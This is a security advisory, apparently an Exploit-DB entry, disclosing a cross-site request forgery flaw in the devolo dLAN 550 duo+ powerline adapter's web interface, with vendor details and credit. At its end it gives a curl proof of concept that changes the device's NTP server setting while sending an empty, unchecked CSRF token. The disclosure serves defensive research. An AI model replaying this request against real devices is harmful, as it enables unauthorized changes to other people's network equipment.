d667cf901c
11 changes to exploits/shellcodes Device Monitoring Studio 8.10.00.8925 - Denial of Service (PoC) River Past Audio Converter 7.7.16 - Denial of Service (PoC) ResourceSpace 8.6 - 'watched_searches.php' SQL Injection SuiteCRM 7.10.7 - 'parentTab' SQL Injection SuiteCRM 7.10.7 - 'record' SQL Injection ResourceSpace 8.6 - 'watched_searches.php' SQL Injection SuiteCRM 7.10.7 - 'parentTab' SQL Injection SuiteCRM 7.10.7 - 'record' SQL Injection BEWARD N100 H.264 VGA IP Camera M2.1.6 - RTSP Stream Disclosure BEWARD N100 H.264 VGA IP Camera M2.1.6 - Cross-Site Request Forgery (Add Admin) BEWARD N100 H.264 VGA IP Camera M2.1.6 - Remote Code Execution BEWARD N100 H.264 VGA IP Camera M2.1.6 - Arbitrary File Disclosure devolo dLAN 550 duo+ Starter Kit - Cross-Site Request Forgery devolo dLAN 550 duo+ Starter Kit - Remote Code Execution Zyxel VMG3312-B10B DSL-491HNU-B1B v2 Modem - Cross-Site Request Forgery OpenMRS Platform < 2.24.0 - Insecure Object Deserialization Linux/x86 - Random Insertion Encoder and Decoder Shellcode (Generator)
41 lines
No EOL
1.9 KiB
Text
41 lines
No EOL
1.9 KiB
Text
devolo dLAN 550 duo+ Starter Kit Cross-Site Request Forgery
|
|
|
|
|
|
Vendor: devolo AG
|
|
Product web page: https://www.devolo.com
|
|
Affected version: dLAN 500 AV Wireless+ 3.1.0-1 (i386)
|
|
|
|
Summary: Devolo dLAN® 550 duo+ Starter Kit is Powerlineadapter which is
|
|
a cost-effective and helpful networking alternative for any location
|
|
without structured network wiring. Especially in buildings or residences
|
|
lacking network cables or where updating the wiring would be expensive
|
|
and complicated, Powerline adapters provide networking at high transmission
|
|
rates.
|
|
|
|
Desc: The web application allows users to perform certain actions via HTTP
|
|
requests without performing any validity checks to verify the requests. The
|
|
devolo web application uses predictable URL/form actions in a repeatable way.
|
|
This can be exploited to perform certain actions with administrative privileges
|
|
if a logged-in user visits a malicious web site.
|
|
|
|
Tested on: Linux 2.6.31
|
|
|
|
|
|
Vulnerability discovered by Stefan Petrushevski aka sm
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2019-5507
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5507.php
|
|
|
|
|
|
04.10.2017
|
|
|
|
--
|
|
|
|
curl -i -s -k -X 'POST' \
|
|
-H 'Origin: http://DEVOLO-IP' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Referer: http://DEVOLO-IP/cgi-bin/htmlmgr?_file=%2Fwgl%2Fmain.wgl&_sid=&_style=std&_lang=&_dir=expert&_page=time' \
|
|
--data-binary $'%3Asys%3ANTPClient.EnableNTP=on&%3Asys%3ANTPClient.NTPServer=waddup.com&%3Asys%3ANTPClient.GMTOffset=%2B01%3A00&%3Asys%3ANTPClient.AutoDaylightSaving=on&_file=%2Fwgl%2Fmain.wgl&_style=std&_lang=&_dir=expert&_page=time&_idx=&_sid=&_csrf=' \
|
|
'http://DEVOLO-IP/cgi-bin/htmlmgr'
|
|
|
|
Even though there is a '_csrf' parameter that is being submited, it is never checked (nor it contains any value) |